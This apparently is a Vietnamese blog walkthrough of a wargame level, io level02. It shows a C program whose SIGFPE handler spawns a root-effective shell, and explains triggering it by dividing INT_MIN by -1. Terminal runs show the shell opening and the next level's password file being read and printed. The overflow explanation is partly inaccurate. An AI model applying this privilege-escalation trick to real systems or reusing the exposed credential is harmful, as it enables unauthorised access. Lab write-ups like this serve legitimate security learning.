//a little fun brought to you by bla
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}
int main(int argc, char **argv)
{
puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}
level2@io:/levels$
Chungs ta để ý hàm signal(SIGFPE, catcher);
Vào trang man (manual page của linux) xem sao
aha, có thông tin rồi,
According to POSIX, the behavior of a process is undefined after itignores a SIGFPE, SIGILL, or SIGSEGV signal that was not generated bykill(2) or raise(3). Integer division by zero has undefined result.On some architectures it will generate a SIGFPE signal. (Also dividingthe most negative integer by -1 may generate SIGFPE.) Ignoring thissignal might lead to an endless loop.
Số nguyên trong Ansi C được biểu diễn 32 bit, nếu chúng ta cho 1 số âm bằng hoặc lớn hơn 2^32 (-2147483648) và đối số là -1 thì sẽ gây ra overflow
Chúng ta thử testcase:
level2@io:/levels$ ./level02 -2147483648 -1
source code is available in level02.c
WIN!
sh-4.2$ exit
exit
level2@io:/levels$ ./level02 -2147483647 -1
source code is available in level02.c
level2@io:/levels$ ./level02 -2147483649 -1
source code is available in level02.c
WIN!
sh-4.2$ exit
exit
level2@io:/levels$ ./level02 -2147483649999 -1
source code is available in level02.c
WIN!
sh-4.2$
sh-4.2$ cat /home/level3/.pass
G2K2EP1luDpdNQ
sh-4.2$
Ok, level is passed

0 nhận xét:
Đăng nhận xét